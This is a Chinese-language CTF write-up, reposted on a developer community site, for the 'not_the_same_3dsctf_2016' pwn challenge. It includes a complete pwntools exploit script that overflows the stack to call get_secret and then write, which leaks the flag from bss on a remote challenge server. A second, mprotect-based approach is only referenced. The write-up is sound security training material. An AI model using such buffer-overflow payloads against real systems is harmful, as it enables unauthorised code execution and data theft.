前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >PWN not_the_same_3dsctf_2016 wp

PWN not_the_same_3dsctf_2016 wp

作者头像
yulate
发布2023-05-02 11:10:11
1970
发布2023-05-02 11:10:11
举报
文章被收录于专栏:yulate的网络安全技术分析

本文最后更新于 556 天前,其中的信息可能已经有所发展或是发生改变。

这道题有两种解法,特地记录一下。

题目分析

先看保护,就只开了个NX保护

main函数很明显的栈溢出

字符串搜索出flag字段,点进去ctrl+x追踪过去

解题思路

思路一

这题在get_secret函数中通过fopen将flag的内容读入了unk_80CF91B中,我们通过查找可以在程序中发现write函数,通过write函数可以读取出bss字段中的flag。

payload
代码语言:javascript
复制
from pwn import * 
from LibcSearcher import *

content = 0
context.log_level = 'debug'

elf = ELF('./not_the_same_3dsctf_2016')

write_addr = elf.sym['write']
get_secret = elf.symbols['get_secret']
flag_bss = 0x080ECA2D  # flag在bss字段上的地址

def main():
    if content == 1:
        p = process('not_the_same_3dsctf_2016')
    else:
        p = remote('node4.buuoj.cn',29698)

    paylaod = b'a' * 0x2D + p32(get_secret) + p32(write_addr) + b'a'*4 +p32(1) + p32(flag_bss) + p32(45)
    p.sendline(paylaod)
    p.interactive()

main()

思路二

利用mprotect函数进行读取,具体看我的这篇文章:https://cloud.tencent.com/developer/article/2277508

浏览量: 268

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2021-10-17 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 题目分析
  • 解题思路
    • 思路一
      • payload
    • 思路二
    领券
    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档